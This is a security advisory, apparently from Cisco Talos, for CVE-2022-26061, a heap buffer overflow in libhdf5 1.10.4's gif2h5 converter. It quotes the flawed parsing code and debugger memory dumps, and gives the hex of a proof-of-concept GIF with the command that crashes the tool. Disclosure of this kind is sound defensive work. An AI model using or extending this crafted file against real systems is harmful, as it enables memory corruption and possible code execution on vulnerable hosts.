CVE-2022-26061
A heap-based buffer overflow vulnerability exists in the gif2h5 functionality of HDF5 Group libhdf5 1.10.4. A specially-crafted GIF file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
HDF5 Group libhdf5 1.10.4
libhdf5 - https://www.hdfgroup.org
7.8 - CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-122 - Heap-based Buffer Overflow
HDF5 is a file format that is maintained by a non-profit organization, the HDF Group. HDF5 is designed to store and organize large amounts of scientific data. It is used to exchange data structures between applications in industries (such as the GIS industry) via libraries such as GDAL, OGR or as part of software like ArcGIS.
Their included gif2h5 tool is used for converting GIF data to the HDF5 file format.
The vulnerability exists in their gif2h5 tool/library, specifically in ReadGifHeader() function while attempting to convert GIF files to their HDF5 format. The vulnerability exists due to a failure to check the size of an allocated heap buffer while writing and parsing GIF image data stream.
When attempting to parse the GIF local image descriptor, a buffer is allocated based on the width and height of the image to store the image data stream. We can see this occur in gifread.c
under the ReadGifImageDesc()
function:
186 if (!(GifImageDesc->GIFImage =
187 (GIFBYTE *)malloc((GifImageDesc->ImageWidth) * (GifImageDesc->ImageHeight)))) { // Malloc here
188 printf("Out of memory");
189 exit(EXIT_FAILURE);
190 }
In this case we are using an image that is 5x5, so malloc(0x19)
is called which returns a chunk of usable size, 0x28 (40)
. Following this, the data stream is read and written to the GifImageDesc->GIFImage member without any bounds checking. It instead relies on valid block size values, allowing an attacker to arbitrarily write data beyond the bounds of the heap buffer. This can lead to code execution.
192 TempPtr = GifImageDesc->GIFImage;
/*
Here we can see our allocated buffer at 0x555555a840a0:
gef➤ hexdump TempPtr
0x0000555555a840a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x0000555555a840b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x0000555555a840c0 00 00 00 00 00 00 00 00 41 ff 01 00 00 00 00 00 ........A.......
0x0000555555a840d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*/
193 do {
194 ch = ch1 = (int)*(*MemGif2)++;
195 while (ch--)
196 *TempPtr++ = *(*MemGif2)++;
197 } while (ch1);
198
199 return (0); /* No FILE stream error occured */
Here, we can see that we have written data well beyond the bounds of the heap buffer.
gef➤ hexdump 0x0000555555a840a0 256
0x0000555555a840a0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x0000555555a840b0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x0000555555a840c0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x0000555555a840d0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x0000555555a840e0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x0000555555a840f0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x0000555555a84100 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x0000555555a84110 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x0000555555a84120 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x0000555555a84130 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x0000555555a84140 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x0000555555a84150 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x0000555555a84160 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x0000555555a84170 41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 00 AAAAAAAAAAAAA...
Leading to a crash:
malloc(): corrupted top size
Program received signal SIGABRT, Aborted.
GIF file
00000000: 4749 4638 396c 0a00 0300 020d 188e b9fd GIF89l..........
00000010: 616c 0e00 2c00 0003 0005 0005 0000 0041 al..,..........A
00000020: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000030: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000040: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000050: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000060: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000070: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000080: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000090: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
000000a0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
000000b0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
000000c0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
000000d0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
000000e0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
000000f0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
$ gif2h5 PoC.gif test.h5
Unknown Block Separator Character: 0x8e
Unknown Block Separator Character: 0xb9
Unknown Block Separator Character: 0xfd
Unknown Block Separator Character: 0x61
Unknown Block Separator Character: 0x6c
Unknown Block Separator Character: 0xe
Unknown Block Separator Character: 00
malloc(): corrupted top size
[1] 449683 abort (core dumped) gif2h5 access_violation.min.gif test.h5
2022-03-21 - Vendor Disclosure
2022-08-16 - Public Release
Discovered by Dave McDaniel of Cisco Talos.